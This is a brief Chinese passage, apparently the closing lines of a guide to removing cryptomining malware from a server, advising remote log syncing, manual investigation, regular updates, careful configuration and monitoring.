cron实时同步到一台安全的日志服务器上。这样即使服务器被入侵、日志被篡改你依然有据可查。清理挖矿病毒是一场攻防战。手动排查的过程虽然繁琐但能让你最深入地了解你的系统并从根本上提升安全运维的能力。脚本可以帮你节省重复劳动但无法替代你的思考和判断。保持系统更新、配置严谨、监控到位才是长治久安之道。